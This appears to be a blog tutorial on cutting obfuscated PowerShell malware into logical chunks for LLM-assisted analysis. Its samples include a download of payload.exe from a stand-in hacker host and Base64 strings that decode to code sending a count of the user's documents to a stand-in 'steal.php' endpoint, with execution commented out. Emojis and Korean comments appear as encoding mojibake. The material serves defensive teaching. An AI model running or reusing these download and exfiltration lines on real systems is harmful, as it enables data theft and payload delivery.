Hello, everyone! π΅οΈββοΈ
In the last theory session, we learned about ‘obfuscation techniques’ and how malicious scripts cleverly hide their true form. (If you don’t remember, review! π)
Now that we’re armed with theory, it’s time to dive into practice! It’s our turn to hand over this complex code to our reliable ally, Generative AI (LLM), and ask it to interpret it.
But wait a minute! β
What happens if we “copy + paste” a massive obfuscated script, thousands of lines long, and throw it at the AI all at once?
π€ AI: “I’m sorry, your input is too long. (Token limit exceeded)” or
π€ AI: (Forgetting the beginning and misinterpreting only the end) “This code is just a string variable declaration.”
Yes, that’s right. AI also has a limit to how much it can process at once (Context Window/Token Limit). If you give it too much content at once, it can get ‘indigestion’ or show symptoms of ‘amnesia’, forgetting important context.
That’s why today’s practice is very important. We will learn the technique of cutting monstrously large obfuscated code into ‘bite-sized pieces (Chunks)’ and feeding it to the AI so it can digest it easily. π₯

1. Why should we divide into ‘Chunks’? π€
‘Chunk’ means a piece or a block. There are two reasons for dividing code:
- Overcoming Token Limits: Models like ChatGPT or Claude have a character limit for input and output in a single conversation. Long malicious scripts easily exceed this limit.
- Improving Accuracy (Focus): When you give AI a narrow scope, like “analyze what these 50 lines do,” instead of “interpret these 1000 lines,” it provides much deeper and more accurate answers.
2. Key Strategy: “Don’t Cut Just Anywhere!” βοΈ
This is the core of today’s practice. When cutting code, you must consider ‘Context’ and ‘Logical Units’.
If you just cut it arbitrarily to match a character count, commands might be split in the middle, causing the AI to perceive them as syntax errors.
β Bad Splitting Example (Mechanical Splitting)
# End of Chunk 1
$malicious_url = "http://hacker.c
# --- Cut abruptly here ---
# Start of Chunk 2
om/payload.exe"
Invoke-WebRequest -Uri $malici...
π If you cut it like this, the AI will look at Chunk 1 and think, “This code has an unclosed string error.” Chunk 2 then becomes unknown code starting with “om/payload.exe”.
β Good Splitting Example (Logical Splitting)
# Chunk 1: Entire variable declaration section
$part1 = "http://";
$part2 = "hacker.com";
$part3 = "/payload.exe";
# --- End of logical unit ---
# Chunk 2: Entire execution section
$full_url = $part1 + $part2 + $part3;
Invoke-WebRequest -Uri $full_url ...
π You should break it down into function units, loop units, or related variable declaration blocks.
3. [Practice] Splitting Obfuscated PowerShell Scripts π οΈ
Here’s an obfuscated PowerShell sample code similar to what an attacker might actually use (but safe). It looks quite long and complex.
π Practice Sample Code (PowerShell)
# --- Start of massive obfuscated script ---
<#
This script uses Base64 and string manipulation to hide its intent.
Do not run this on a production machine.
#>
$v_str_A = "JABuAGUAdwBfAHYAYQByACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7AA==";
$v_str_B = "JAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAOgAvAC8AdABlAHMAdAAuAG0AYQBsAHcAYQByAGUALgBjAG8AbQAvAHMAdABlAGEAbAAuAHAAaABwAD8AZABhAHQAYQA9ACcAOwA=";
$v_str_C = "JABjAG8AbQBtAGEAbgBkACAAPQAgACgAZwBjAGkAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBaAEUAUgBQAFIATwBGAEkATABFACAALQBJAG4AYwBsAHUAZABlACAAKgAuAGQAbwBjAHgAIAAtAFIAZQBjAHUAcgBzAGUAKQAuAEMAbwB1AG5AdAA7AA==";
# ... (Assume there are 50 more lines of such variable declarations in between) ...
$v_padding = "==";
$v_str_D = "JABuAGUAdwBfAHYAYQByAC4ARABvAHcAbgBsAG8AYWADwAdAByAGkAbgBnACgAJAB1AHIAbAAgACsAIAAkAGMAbwBtAG0AYQBuAGQAKQA7AA";
# --- First combination ---
$stage1 = $v_str_A + $v_str_B + $v_str_C;
# --- Additional de-obfuscation ---
$final_stage = $stage1 + $v_str_D + $v_padding;
# --- Final execution (commented out) ---
# IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($final_stage)))
STEP 1. See the Whole Forest π³
Let’s quickly scan the code.
- The beginning primarily consists of long Base64-encoded string variable declarations, like $v_str_A, $v_str_B.
- The latter part is structured to combine these variables (+), add padding (==), and finally decode and execute (IEX) them.
STEP 2. Find the ‘Cutting’ Points π
Where should we cut?
- First Point: Group numerous Base64 variable declarations into a single chunk. This is because they serve the same contextual purpose.
- Second Point: Group the logic that combines variables and prepares for final execution into a second chunk.
STEP 3. Actually Splitting (Preparing for Copy & Paste)
π¦ [Chunk 1: Data Declaration Section]
<# μ²ν¬ 1 μμ: Base64 λ³μ μ μΈ λΈλ‘ #>
$v_str_A = "JABuAGUAdwBfAHYAYQByACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7AA==";
$v_str_B = "JAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAOgAvAC8AdABlAHMAdAAuAG0AYQBsAHcAYQByAGUALgBjAG8AbQAvAHMAdABlAGEAbAAuAHAAaABwAD8AZABhAHQAYQA9ACcAOwA=";
$v_str_C = "JABjAG8AbQBtAGEAbgBkACAAPQAgACgAZwBjAGkAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBaAEUAUgBQAFIATwBGAEkATABFACAALQBJAG4AYwBsAHUAZABlACAAKgAuAGQAbwBjAHgAIAAtAFIAZQBjAHUAcgBzAGUAKQAuAEMAbwB1AG5AdAA7AA==";
# ... (Intermediate variables omitted) ...
$v_padding = "==";
$v_str_D = "JABuAGUAdwBfAHYAYQByAC4ARABvAHcAbgBsAG8AYWADwAdAByAGkAbgBnACgAJAB1AHIAbAAgACsAIAAkAGMAbwBtAG0AYQBuAGQAKQA7AA";
<# μ²ν¬ 1 λ #>
π¦ [Chunk 2: Combination and Execution Logic]
<# μ²ν¬ 2 μμ: κ²°ν© λ° μ€νλΆ #>
# --- First combination ---
$stage1 = $v_str_A + $v_str_B + $v_str_C;
# --- Additional de-obfuscation ---
$final_stage = $stage1 + $v_str_D + $v_padding;
# --- Final execution (commented out) ---
# IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($final_stage)))
<# μ²ν¬ 2 λ #>
4. Conclusion: Ready to Feed the AI! π½οΈ
Now, we have neatly cut the massive code into two logical chunks.
In the next practice session, we will learn how to actually input these prepared chunks to the AI sequentially, maintaining context by saying, “This is the first part. Please interpret what these variables are. I’ll give you the next part shortly.”
Remember, the core of today’s practice is to ‘be careful not to break the syntax or logic when cutting code’!
See you next time! π
Leave a Reply